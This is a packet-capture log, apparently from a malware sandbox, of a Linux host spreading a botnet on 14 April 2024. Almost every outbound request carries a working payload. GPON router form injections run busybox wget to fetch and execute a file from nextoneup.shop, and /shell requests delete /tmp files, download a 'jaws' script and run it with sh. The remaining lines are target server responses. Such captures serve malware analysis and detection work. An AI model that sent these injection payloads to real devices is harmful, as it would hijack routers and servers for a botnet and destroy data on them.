794	192.168.2.23	43290	118.111.49.59	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:06.237025023 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
795	192.168.2.23	40114	178.223.90.184	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:06.237051964 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
796	192.168.2.23	39608	94.198.7.100	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:06.237099886 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
797	192.168.2.23	56656	94.181.132.36	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:06.237112999 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
798	192.168.2.23	56212	117.138.255.93	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:06.237147093 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
799	192.168.2.23	38158	118.46.219.208	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:06.237181902 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
800	192.168.2.23	46410	94.59.85.56	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:06.237221956 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
801	192.168.2.23	40068	148.48.65.236	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:06.237252951 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
802	192.168.2.23	36512	202.208.253.76	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:06.237323046 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
803	192.168.2.23	54246	154.89.94.248	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:06.578833103 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 30 39 3a 35 39 3a 35 33 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 09:59:53Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
804	192.168.2.23	56658	172.65.79.88	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:06.634157896 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
805	192.168.2.23	54248	154.89.94.248	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:06.640681028 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 30 39 3a 35 39 3a 35 33 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 09:59:53Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
806	192.168.2.23	35542	69.163.139.33	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:06.834053040 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
807	192.168.2.23	55492	132.174.251.208	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:06.859020948 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:07.093290091 CEST	548	IN	HTTP/1.1 302 Moved temporarily Date: Sun, 14 Apr 2024 02:00:06 GMT Server: EZproxy Expires: Mon, 02 Aug 1999 00:00:00 GMT Last-Modified: Sun, 14 Apr 2024 02:00:06 GMT Cache-Control: no-store, no-cache, must-revalidate Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Location: http://drury.idm.oclc.org/shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Connection: close Data Raw: 54 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 73 69 74 65 2c 20 67 6f 20 3c 61 20 68 72 65 66 3d 27 68 74 74 70 3a 2f 2f 64 72 75 72 79 2e 69 64 6d 2e 6f 63 6c 63 2e 6f 72 67 2f 73 68 65 6c 6c 3f 63 64 2b 2f 74 6d 70 3b 72 6d 2b 2d 72 66 2b 2a 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 6a 61 77 73 3b 73 68 2b 2f 74 6d 70 2f 6a 61 77 73 27 3e 68 65 72 65 3c 2f 61 3e 0d 0a Data Ascii: To access this site, go <a href='http://drury.idm.oclc.org/shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws'>here</a>

Session ID	Source IP	Source Port	Destination IP	Destination Port
808	192.168.2.23	49508	62.212.95.241	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:06.946995020 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:07.252248049 CEST	336	IN	HTTP/1.1 404 Not Found Server: nginx/1.12.2 Date: Sun, 14 Apr 2024 01:22:12 GMT Content-Type: text/html Content-Length: 169 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.12.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
809	192.168.2.23	47382	221.121.94.9	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:06.969285011 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:07.301954031 CEST	251	IN	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
810	192.168.2.23	54332	154.89.94.248	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:07.251219988 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 30 39 3a 35 39 3a 35 33 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 09:59:53Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
811	192.168.2.23	54346	154.89.94.248	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:07.298182011 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 30 39 3a 35 39 3a 35 33 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 09:59:53Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
812	192.168.2.23	60794	66.110.42.91	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:07.951322079 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:08.128339052 CEST	366	IN	HTTP/1.1 404 Not Found Cache-Control: no-cache, no-store, no-transform, must-revalidate, private, max-age=0 Content-Type: text/plain; charset=utf-8 Expires: Thu, 01 Jan 1970 00:00:00 UTC Pragma: no-cache Vary: Origin X-Accel-Expires: 0 X-Content-Type-Options: nosniff Date: Sun, 14 Apr 2024 02:00:08 GMT Content-Length: 19 Data Raw: 34 30 34 20 70 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: 404 page not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
813	192.168.2.23	46616	164.90.150.192	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:07.953083038 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:08.136315107 CEST	306	IN	HTTP/1.1 404 Not Found Server: nginx Date: Sun, 14 Apr 2024 02:00:08 GMT Content-Type: text/html Content-Length: 146 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
814	192.168.2.23	54364	154.89.94.248	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:07.970372915 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 30 39 3a 35 39 3a 35 34 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 09:59:54Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
815	192.168.2.23	57136	54.36.162.97	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:08.079132080 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
816	192.168.2.23	50814	106.58.218.164	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:08.121383905 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:09.166021109 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:09.510137081 CEST	225	IN	HTTP/1.1 308 Permanent Redirect Location: https://127.0.0.1/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Content-Length: 0 Date: Sun, 14 Apr 2024 02:00:08 GMT Server: lighttpd/1.4.71

Session ID	Source IP	Source Port	Destination IP	Destination Port
817	192.168.2.23	51996	23.47.29.250	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:08.179033995 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:08.407927036 CEST	534	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 312 Expires: Sun, 14 Apr 2024 02:00:08 GMT Date: Sun, 14 Apr 2024 02:00:08 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 34 35 36 62 64 63 31 37 26 23 34 36 3b 31 37 31 33 30 36 30 30 30 38 26 23 34 36 3b 61 36 33 33 31 37 66 39 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 34 35 36 62 64 63 31 37 26 23 34 36 3b 31 37 31 33 30 36 30 30 30 38 26 23 34 36 3b 61 36 33 33 31 37 66 39 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.456bdc17.1713060008.a63317f9<P>https://errors.edgesuite.net/9.456bdc17.1713060008.a63317f9</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
818	192.168.2.23	5463	165.237.94.150	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:08.355107069 CEST	42	IN	Data Raw: 42 49 47 2d 49 50 3a 20 5b 30 78 32 63 33 62 63 62 61 3a 32 35 32 31 5d 20 4e 6f 20 6c 6f 63 61 6c 20 6c 69 73 74 65 6e 65 72 Data Ascii: BIG-IP: [0x2c3bcba:2521] No local listener

Session ID	Source IP	Source Port	Destination IP	Destination Port
819	192.168.2.23	46802	94.182.134.213	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:08.355252028 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:08.756127119 CEST	443	IN	HTTP/1.1 403 Forbidden Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 337 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 36 22 3e 3c 74 69 74 6c 65 3e 4e 54 4c 34 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 69 66 72 61 6d 65 20 73 72 63 3d 22 68 74 74 70 3a 2f 2f 31 30 2e 31 30 2e 33 34 2e 33 36 2f 3f 74 79 70 65 3d 49 6e 76 61 6c 69 64 20 4b 65 79 77 6f 72 64 26 70 6f 6c 69 63 79 3d 4d 61 69 6e 50 6f 6c 69 63 79 20 22 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 20 31 30 30 25 3b 20 68 65 69 67 68 74 3a 20 31 30 30 25 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 76 73 70 61 63 65 3d 22 30 22 20 68 73 70 61 63 65 3d 22 30 22 3e 3c 2f 69 66 72 61 6d 65 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data 